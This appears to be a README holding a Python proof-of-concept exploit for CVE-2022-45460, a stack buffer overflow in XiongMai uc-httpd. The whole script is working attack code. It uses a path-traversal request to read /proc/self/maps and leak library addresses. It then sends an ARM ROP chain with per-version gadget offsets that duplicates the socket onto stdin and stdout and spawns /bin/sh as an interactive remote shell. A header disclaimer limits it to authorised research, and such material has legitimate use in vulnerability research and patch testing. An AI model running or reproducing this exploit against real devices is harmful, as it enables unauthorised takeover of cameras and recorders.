README.md
Rendering markdown...
# Exploit Proof of Concept (PoC)
#
# Author: born0monday
# Target: XiongMai uc-httpd
# CVE: CVE-2022-45460
# Description:
# This script exploits a stack-based buffer overflow in the URI parsing of uc-http.
# A crafted request overwrites the return address, triggering a ROP chain to achieve RCE.
#
# Disclaimer:
# This code is for educational and research purposes only.
# Use it responsibly and only on systems you have explicit permission to test.
import sys
import socket
from pwn import *
HOST, PORT = sys.argv[1], int(sys.argv[2])
GADGETS = {
"libc.so.0": {
0: 0xF964, # mov r0, r3; pop {r4, pc}
1: 0x1CDCC, # mov r1, #1; mov r2, r6; blx r5
2: 0x175CC, # pop {r3, pc}
3: 0x368DC, # mov r0, sp; blx r3
},
"libuClibc-0.9.32.1.so": {
0: 0xF964, # mov r0, r3; pop {r4, pc}
1: 0x1CDCC, # mov r1, #1; mov r2, r6; blx r5
2: 0x175CC, # pop {r3, pc}
3: 0x368DC, # mov r0, sp; blx r3
},
"libuClibc-0.9.33.3-git.so": {
0: 0xF3C4, # mov r0, r3; pop {r4, pc}
1: 0x22D74, # mov r1, #1; mov r2, r6; blx r5
2: 0xCA60, # pop {r3, pc}
3: 0x151AC, # mov r0, sp; blx r3
},
}
SYMBOLS = {
"libc.so.0": {
"fileno": 0x31030, # fileno + 0x4
"dup2": 0xCE60, # dup2 + 0x4
"system": 0x535E8, # system
},
"libuClibc-0.9.32.1.so": {
"fileno": 0x31030, # fileno + 0x4
"dup2": 0xCE60, # dup2 + 0x4
"system": 0x535E8, # system
},
"libuClibc-0.9.33.3-git.so": {
"fileno": 0x32AA0, # fileno + 0x4
"dup2": 0xC720, # dup2 + 0x4
"system": 0x547C4, # system
},
}
PADDING = b"XXXX"
def parse_maps(maps):
for line in maps.split(b"\n"):
lib = line.split(b"/")[-1].decode()
if lib in GADGETS.keys() and b"r-xp" in line:
addr = int(line.split(b"-")[0].decode(), 16)
print(f"{lib} found at {hex(addr)}")
return lib, addr
return None, None
def fetch_maps():
with remote(HOST, PORT) as conn:
conn.send(b"GET /../../../../../proc/self/maps HTTP/1.1\r\n")
conn.send(b"\r\n\r\n")
return conn.recvall()
def main():
maps = fetch_maps()
libc, libc_base = parse_maps(maps)
payload = b""
payload += 304 * b"A"
payload += p32(libc_base + GADGETS[libc][0]) # mov r0, r3; pop {r4, pc}
payload += PADDING # r4
payload += p32(libc_base + SYMBOLS[libc]["fileno"])
# fileno epilogue: ldmia sp!,{r4,r5,r6,r7,r8,pc}
payload += PADDING # r4
payload += p32(libc_base + SYMBOLS[libc]["dup2"]) # r5
payload += PADDING # r6
payload += PADDING # r7
payload += PADDING # r8
payload += p32(libc_base + SYMBOLS[libc]["dup2"]) # dup2, r1 = 0 -> STDIN
# dup2 epilogue: ldmia sp!,{r7,pc}
payload += PADDING # r7
# dup2 r1 = 1 -> STDOUT
payload += p32(libc_base + GADGETS[libc][1]) # mov r1, #1; mov r2, r6; blx r5
# dup2 epilogue: ldmia sp!,{r7,pc}
payload += PADDING # r7
# shell
payload += p32(libc_base + GADGETS[libc][2]) # pop {r3, pc};
payload += p32(libc_base + SYMBOLS[libc]["system"]) # r3
payload += p32(libc_base + GADGETS[libc][3]) # mov r0, sp; blx r3
if b"\x00" in payload:
print("null bytes :/")
sys.exit(1)
with remote(HOST, PORT) as conn:
conn.send(b"GET /" + payload + b"/bin/sh;.mns.cab HTTP/1.1")
conn.send(b"\r\n\r\n")
conn.interactive()
if __name__ == "__main__":
main()